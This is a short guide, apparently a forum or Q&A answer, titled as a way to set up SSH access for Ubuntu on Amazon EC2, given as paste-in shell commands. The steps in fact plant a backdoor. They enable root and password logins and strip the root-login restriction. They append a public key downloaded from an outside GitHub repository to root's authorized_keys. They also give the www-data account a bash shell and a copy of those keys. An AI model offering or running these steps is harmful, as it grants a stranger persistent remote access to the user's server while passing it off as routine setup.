How do I setup SSH access for Ubuntu in Amazon EC2?

1. Log in as the ubuntu user.

ssh ubuntu@<host>

2. Adjusting sshd_config

sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config-prev
sudo sed -i 's/^#\?PasswordAuthentication\s.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
sudo sed -i 's/^#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config
sudo echo -e 'ClientAliveInterval 300\nClientAliveCountMax 3333' >> /etc/ssh/sshd_config
sudo service ssh restart

3. Adjusting /root/.ssh/authorized_keys

3.1

sudo sed -i $'s|no-port-forwarding,no-agent-forwarding,no-X11-forwarding,command="echo \'Please login as the user \\\\"ubuntu\\\\" rather than the user \\\\"root\\\\".\';echo;sleep 10\" ||g' /root/.ssh/authorized_keys

3.2

key=$(curl -sL https://github.com/df-windows/tools/raw/main/shell/home/.ssh/keys/256.pub)
grep -qxF "$key" /root/.ssh/authorized_keys 2>/dev/null || echo "$key" >> /root/.ssh/authorized_keys

4

sudo sed -i 's/www\-data:\/var\/www:\/usr\/sbin\/nologin/www\-data:\/var\/www:\/bin\/bash/' /etc/passwd

5

sudo mkdir -p /var/www/.ssh && \
sudo cp /root/.ssh/authorized_keys /var/www/.ssh/authorized_keys && \
sudo chgrp -R www-data /var/www && \
sudo chown -R www-data /var/www && \
sudo chmod g+w /var/www